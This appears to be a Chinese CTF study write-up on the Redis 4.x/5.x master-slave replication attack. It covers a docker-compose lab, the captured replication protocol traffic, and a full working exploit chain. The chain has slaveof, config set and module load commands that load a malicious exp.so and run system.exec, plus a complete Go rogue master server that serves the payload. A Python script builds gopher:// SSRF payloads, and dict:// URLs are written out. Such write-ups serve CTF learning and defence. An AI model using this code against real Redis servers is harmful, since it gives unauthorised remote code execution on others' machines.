最近又遇到一些Redis相关的题,国赛半决里也再次遇到主从复制,趁着这个机会总结一下Redis主从复制相关的知识,备用
Redis4.x之后,新增了模块功能,通过外部拓展,可以在Redis中实现一个新的Redis命令,通过C语言编译并恶意加载so文件,达到代码执行的目的
漏洞影响版本 4.x 5.x
搭建环境
为了方便抓包,这里使用docker compose部署
version: '3.8'
services:
redis-master:
image: redis:5.0.4
container_name: redis-master
ports:
- "6379:6379"
networks:
redisnet:
ipv4_address: 172.28.0.2
volumes:
- ./shared:/data/shared
redis-slave:
image: redis:5.0.4
container_name: redis-slave
ports:
- "6380:6379"
networks:
redisnet:
ipv4_address: 172.28.0.3
volumes:
- ./shared:/data/shared
depends_on:
- redis-master
tcpdump:
image: nicolaka/netshoot
container_name: redis-tcpdump
command: tcpdump -i any -w /data/shared/redis_traffic.pcap host 172.28.0.2 and host 172.28.0.3
network_mode: "host"
cap_add:
- NET_ADMIN
- NET_RAW
volumes:
- ./shared:/data/shared
depends_on:
- redis-master
- redis-slave
networks:
redisnet:
driver: bridge
ipam:
config:
- subnet: 172.28.0.0/16
先搭个环境
流量分析
docker exec -it redis-slave redis-cli
在执行完SLAVEOF xxxx xxx后
*1
$4
PING
+PONG
*3
$8
REPLCONF
$14
listening-port
$4
6379
+OK
*5
$8
REPLCONF
$4
capa
$3
eof
$4
capa
$6
psync2
+OK
*3
$5
PSYNC
$40
11298f012012775855f0aab999c09edbda393bac
$1
1
+FULLRESYNC 4aa8ace9cc3e62af0c9078d1d18c0c9f57240373 0
$175
REDIS0009. redis-ver.5.0.4.
redis-bits.@..ctime..5.g..used-mem.......repl-stream-db....repl-id(4aa8ace9cc3e62af0c9078d1d18c0c9f57240373..repl-offset....aof-preamble....X...G..
*3
$8
REPLCONF
$3
ACK
$1
0
能抓到这样的流量
master在收到PSYNC命令后,返回了一个这样的+FULLRESYNC 4aa8ace9cc3e62af0c9078d1d18c0c9f57240373 0
用于启动复制同步请求
所有数据均采用 RESP 格式 字符串以“+”开头,批量字符串以“$”开头并在下一行给出数据长度,再接实际数据,最后以 CRLF 结束
复制或数据同步 PSYNC
*3
$5
PSYNC
$1
?
$2
-1
问号或 -1 表示 Slave 没有有效复制偏移量,从而触发全量同步
master响应
+FULLRESYNC <runid> 0\r\n
Bulk数据传输
Master 会发送一个 bulk string,第一行为$<length>\r\n
表示要发送的数据长度
然后把RDB数据发送
以上两点完整就是
+FULLRESYNC <runid> 0\r\n
$<payload长度>\r\n
<payload数据>\r\n
其他 对于其他请求,比如ping等,直接返回+ok或者+pong就好了
漏洞利用
slaveof host.docker.internal 21000
config set dir /tmp
config set dbfilename exp.so
quit
本地需要构建一个redis伪服务(代码在下文) 然后脱离主从复制关系,成为主服务器
slaveof no one
module load /tmp/exp.so
system.exec 'env'
quit
最后记得移除,不然环境就寄了
CONFIG SET dbfilename dump.rdb
MODULE UNLOAD system
代码如下,编译成二进制即可
package main
import (
_ "embed"
"flag"
"fmt"
"log"
"math/rand"
"net"
"strings"
"time"
)
//go:embed exp_lin.so
var payloadLinData []byte
//go:embed exp_osx.so
var payloadOsxData []byte
const CLRF = "\r\n"
// 生成随机的 40 字节十六进制字符串
func generateRandomRunID(n int) string {
const letters = "0123456789abcdef"
b := make([]byte, n)
for i := range b {
b[i] = letters[rand.Intn(len(letters))]
}
return string(b)
}
func handleConnection(conn net.Conn, payload []byte) {
defer conn.Close()
log.Printf("Conn from %s", conn.RemoteAddr())
for {
buf := make([]byte, 4096)
n, err := conn.Read(buf)
if err != nil {
log.Printf("Read error: %v", err)
return
}
req := string(buf[:n])
log.Printf("Req:\n%s", req)
var resp string
if strings.Contains(req, "PING") {
resp = "+PONG" + CLRF
} else if strings.Contains(req, "REPLCONF") {
resp = "+OK" + CLRF
} else if strings.Contains(req, "PSYNC") || strings.Contains(req, "SYNC") {
runID := generateRandomRunID(40)
resp = fmt.Sprintf("+FULLRESYNC %s 0%s", runID, CLRF)
resp += fmt.Sprintf("$%d%s", len(payload), CLRF)
_, err = conn.Write([]byte(resp))
if err != nil {
log.Printf("Write header error: %v", err)
return
}
_, err = conn.Write(payload)
if err != nil {
log.Printf("Write payload error: %v", err)
return
}
_, err = conn.Write([]byte(CLRF))
if err != nil {
log.Printf("Write CRLF error: %v", err)
return
}
log.Printf("Payload sent, %d bytes", len(payload))
return
} else {
log.Printf("Unknown cmd, close")
return
}
if resp != "" {
_, err = conn.Write([]byte(resp))
if err != nil {
log.Printf("Write resp error: %v", err)
return
}
log.Printf("Resp sent:\n%s", resp)
}
}
}
func main() {
rand.Seed(time.Now().UnixNano())
// 命令行参数说明
var osType string
flag.StringVar(&osType, "os", "lin", "payload (lin|osx)")
var lhost string
var lport string
flag.StringVar(&lhost, "lhost", "0.0.0.0", "listen host")
flag.StringVar(&lport, "lport", "21000", "listen port")
flag.Parse()
var selectedPayload []byte
if osType == "osx" {
selectedPayload = payloadOsxData
log.Println("Using OSX payload")
} else {
selectedPayload = payloadLinData
log.Println("Using Linux payload")
}
listenAddr := fmt.Sprintf("%s:%s", lhost, lport)
log.Printf("Listening on %s", listenAddr)
listener, err := net.Listen("tcp", listenAddr)
if err != nil {
log.Fatalf("Listen error: %v", err)
}
log.Printf("Server running on %s", listenAddr)
for {
conn, err := listener.Accept()
if err != nil {
log.Printf("Accept error: %v", err)
continue
}
go handleConnection(conn, selectedPayload)
}
}
其他
正常情况下就是 ssrf 或者 打进内网后 发现未授权等触发见的比较多
可以用gopher协议或dict协议,比较常见
import requests
import re
def urlencode(data):
enc_data = ''
for i in data:
h = str(hex(ord(i))).replace('0x', '')
if len(h) == 1:
enc_data += '%0' + h.upper()
else:
enc_data += '%' + h.upper()
return enc_data
def gen_payload(payload):
redis_payload = ''
for i in payload.split('\n'):
arg_num = '*' + str(len(i.split(' ')))
redis_payload += arg_num + '\r\n'
for j in i.split(' '):
arg_len = '$' + str(len(j))
redis_payload += arg_len + '\r\n'
redis_payload += j + '\r\n'
gopher_payload = 'gopher://db:6379/_' + urlencode(redis_payload)
return gopher_payload
payload1 = '''
slaveof host.docker.internal 21000
config set dir /tmp
config set dbfilename exp.so
quit
'''
payload2 = '''slaveof no one
module load /tmp/exp.so
system.exec 'env'
quit
'''
print(gen_payload(payload1))
print(gen_payload(payload2))
dict://db:6379/config:set:dir:/tmp
dict://db:6379/config:set:dbfilename:exp.so
dict://db:6379/slaveof:host.docker.internal:21000
dict://db:6379/module:load:/tmp/exp.so
dict://db:6379/slave:no:one
dict://db:6379/system.exec:env
dict://db:6379/module:unload:system
然后同样本地启动那个fake server